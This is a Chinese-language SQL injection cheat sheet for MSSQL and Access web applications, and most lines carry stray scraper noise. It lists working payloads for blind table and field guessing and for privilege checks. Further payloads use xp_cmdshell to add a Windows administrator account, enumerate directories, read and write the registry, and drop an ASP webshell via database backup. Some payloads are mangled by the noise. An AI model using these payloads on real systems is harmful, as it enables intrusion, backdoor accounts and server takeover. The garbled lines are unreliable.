手工脚本注入
9 D0 N$ t* R6 j0 S- Z1.判断是否有注入;and 1=1 ;and 1=2
! T6 d* J$ a% I2 X4 z/ F% E- {+ l3 @6 r$ o9 g
2.初步判断是否是mssql ;and user>0 1 F! r$ | E t9 E+ \5 l& o
h7 x5 x2 k$ X: C0 T% L3.注入参数是字符'and [查询条件] and ''=' % M% [" ?( `# c3 v$ g; Y; Z9 f; Z
, t$ g% H5 }9 I7 f4 z
4.搜索时没过滤参数的'and [查询条件] and '%25'='
# O: u5 P6 b3 L: f: k
- @/ K1 ^* Y3 s5.判断数据库系统
+ P- ]/ k0 t7 L/ y0 V8 I# A S: P9 x;and (select count(*) from sysobjects)>0 mssql n# M$ f, g+ l3 A1 q
;and (select count(*) from msysobjects)>0 access
9 @: m/ C" a& S
( T% T6 K/ v0 @0 v* M3 O) b- e9 [6.猜数据库 ;and (select Count(*) from [数据库名])>0 ( J6 {/ q! X2 I9 a
5 A! D2 J3 J- l) J
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
+ O* b# z* \$ `8 g- R3 p) i; d3 q2 ^
: e$ ~' a3 u" {6 X8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
1 W5 r) w' y% n1 R5 h; [7 d9 W$ p
' E. M2 V( f% t; b; V( Y* p9.(1)猜字段的ascii值(access)
5 }2 c0 y& Z3 W: b- ^;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ' N% M1 x, o/ u- Q6 o$ v# e+ G
7 c9 S) w' g$ Q v& ^( b2 r. v( Y: m
(2)猜字段的ascii值(mssql) 0 R5 }# g; C/ }7 N3 [6 B
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 {+ j/ D9 E7 h8 B! t5 _
0 D$ [. M, y/ F" _4 w10.测试权限结构(mssql)
) t: a% ~9 _; a6 E- T# e/ d;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3 {8 l7 I) q: l( x0 A4 x( u
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / B3 `+ }! \) x: {
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7 q) d1 e3 {6 G6 H; A+ I3 I& ^
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7 m9 c2 E% c3 i6 g( C5 _
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
, _2 V$ |2 d G' a( t& z;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- . ~3 N7 G5 y$ C* e( x
;and 1=(select IS_MEMBER('db_owner'));-- ! J7 s6 k$ E0 ]- P1 U8 s; G
- x3 z3 t: }+ u/ s. r6 E11.添加mssql和系统的帐户
7 F0 M) A- ]) Y# R' S0 _;exec master.dbo.sp_addlogin username;-- ) a7 m7 k+ P" b& d! R1 U" z
# G! E$ i/ m. B P2 i* Z4 ~;exec master.dbo.sp_password null,username,password;--
$ S3 P5 ]# e6 P0 E; Q9 ^7 W5 v3 q Z" }2 s# ~( T3 X
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
: Z# _0 b: i: ^4 w( o) ?5 u3 x" M ? a1 l3 {% z$ E
;exec master.dbo.xp_cmdshell 'net user username password % d' j* V! W, @- q$ K2 o9 R0 d
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
8 c8 @' I# o8 ^0 I d2 g2 Y$ B2 I' U5 Z/ q- _ S$ R
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3 I0 f! z* d2 U: X% c/ o8 g
) n8 l" N6 @8 `9 W
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 @' y/ t: I4 U& D4 y+ b( |7 H7 r' W7 y( h
12.(1)遍历目录 m2 F T% X" ]! h& ~/ c
0 w' m; I5 Q& {/ ~+ x8 K l
;create table dirs(paths varchar(100), id int)
! `4 C8 D5 n6 m& p/ M3 w;insert dirs exec master.dbo.xp_dirtree 'c:\' % I$ s5 y6 X* ~& I
;and (select top 1 paths from dirs)>0 4 r& O o+ s6 D# B
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / D5 N5 d5 \2 \# }; s0 F
! D7 I3 A7 f( R
(2)遍历目录
; Y) I: H: ]% O! Z9 y;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( q$ D/ h2 N' Z/ G( H;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ! i1 u! k; z8 P1 V4 v5 C7 e
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5 P- l% ^- o6 Y1 s/ a( H: W% r
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 0 t9 ?+ u( g5 ~4 F
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ' e) p4 b2 W1 c( B0 M
5 L; l* c* P" V" ~13.mssql中的存储过程 + K w, w7 s3 `. } z* H8 H7 u
# c) p/ T3 C) v* y) C7 M
xp_regenumvalues 注册表根键, 子键
/ X6 b& H0 Q+ h) V( X, K;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 ?: Q, o) U9 q6 E9 D( {" R
5 m0 @) S+ m( F, R/ P' i$ z6 l: Axp_regread 根键,子键,键值名 - I/ ], a1 O& u
;exec xp_regread - j+ s* L' [; Q$ M; N0 u$ L9 J
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 d7 V+ H Z2 U* [" M4 n0 _ L U! `& m' ^/ [
xp_regwrite 根键,子键, 值名, 值类型, 值
3 X4 ?* u* ^ r2 R9 W5 R3 S, g值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 * x# r; ~" Y& J. }% y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5 w* M, K' A+ A H- t- T! ~$ y+ r
4 O, {4 |& R8 `: G
xp_regdeletevalue 根键,子键,值名
3 j! j" L) d4 a4 q5 _& o/ T, g; q, j) h1 \
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
1 g7 \7 ^' U) N6 _& ?+ U/ v
0 f; ]) b( w6 h% ]8 Rxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 G& ?! f, {' N) x7 s& U: _% v* ` M; i7 k0 ]; S1 l0 }
14.mssql的backup创建webshell 4 B2 Z# j& j! v2 w' r
use model 7 ^+ ]5 N% R" ?6 v% d6 A J8 ?
create table cmd(str image);
- I0 m6 `5 |) O9 o& binsert into cmd(str) values ('');
: y7 q! s2 i. r- B% l, {backup database model to disk='c:\l.asp'; 5 V% P% {" J+ j
1 [7 ]' x7 T: l2 E, ~1 O
15.mssql内置函数
1 M- N- Z0 U- X, x;and (select @@version)>0 获得Windows的版本号 6 i( C% q1 q8 N$ O% {% U
;and user_name()='dbo' 判断当前系统的连接用户是不是sa . _8 z# R0 l9 }( {; p ]# ~: J$ [
;and (select user_name())>0 爆当前系统的连接用户 5 v7 |/ M9 t4 d* F+ |6 _
;and (select db_name())>0 得到当前连接的数据库
- H( X* I ?& k% j
- L& q" A) n" O+ H/ x0 k8 P! g16.简洁的webshell ( b2 x+ \. A- g" Y% {
* U- u0 V+ e9 R5 huse model # O/ j8 C# X1 x9 }$ X
2 \2 V' Y# N5 r1 D- U7 Fcreate table cmd(str image); 1 y9 J2 v- U: h3 b4 b/ B k
; ]+ ` ~- R2 k. E9 e0 e) d
insert into cmd(str) values (''); + ~. k+ A; ^( @/ c4 m
0 Q) j, z. ? J' u; T) Cbackup database model to disk='g:\wwwtest\l.asp';
( i$ B7 {: x2 D# a V. y- {/ U$ t + F" ^: @7 h$ ]6 k
|